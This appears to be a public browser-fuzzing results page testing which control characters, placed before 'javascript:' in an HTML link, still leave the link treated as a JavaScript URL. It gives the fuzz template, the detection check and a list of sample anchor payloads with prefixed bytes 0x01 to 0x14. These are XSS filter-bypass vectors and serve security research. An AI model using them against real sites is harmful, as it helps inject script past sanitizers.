Characters that can precede the javascript protocol

Characters that can precede the javascript protocol in html

Created byrenniepak

Created Apr 10, 2024

Updated May 28, 2025

Detecting browser...

CategoryURL Handling

VisibilityPublic

TypeXSS

CharsetUTF-8

Template used:

<a href="$[chr]javascript:test.com/" id="test"></a>

Code used after fuzz:

if(document.getElementById("test").protocol=="javascript:"){log($[i])}

Sample payloads

<a href="0x01javascript:test.com/" id="test"></a>

<a href="0x02javascript:test.com/" id="test"></a>

<a href="0x03javascript:test.com/" id="test"></a>

<a href="0x04javascript:test.com/" id="test"></a>

<a href="0x05javascript:test.com/" id="test"></a>

<a href="0x06javascript:test.com/" id="test"></a>

<a href="0x07javascript:test.com/" id="test"></a>

<a href="0x08javascript:test.com/" id="test"></a>

<a href="0x09javascript:test.com/" id="test"></a>

<a href="
javascript:test.com/" id="test"></a>

<a href="0x0Bjavascript:test.com/" id="test"></a>

<a href="0x0Cjavascript:test.com/" id="test"></a>

<a href="0x0Djavascript:test.com/" id="test"></a>

<a href="0x0Ejavascript:test.com/" id="test"></a>

<a href="0x0Fjavascript:test.com/" id="test"></a>

<a href="0x10javascript:test.com/" id="test"></a>

<a href="0x11javascript:test.com/" id="test"></a>

<a href="0x12javascript:test.com/" id="test"></a>

<a href="0x13javascript:test.com/" id="test"></a>

<a href="0x14javascript:test.com/" id="test"></a>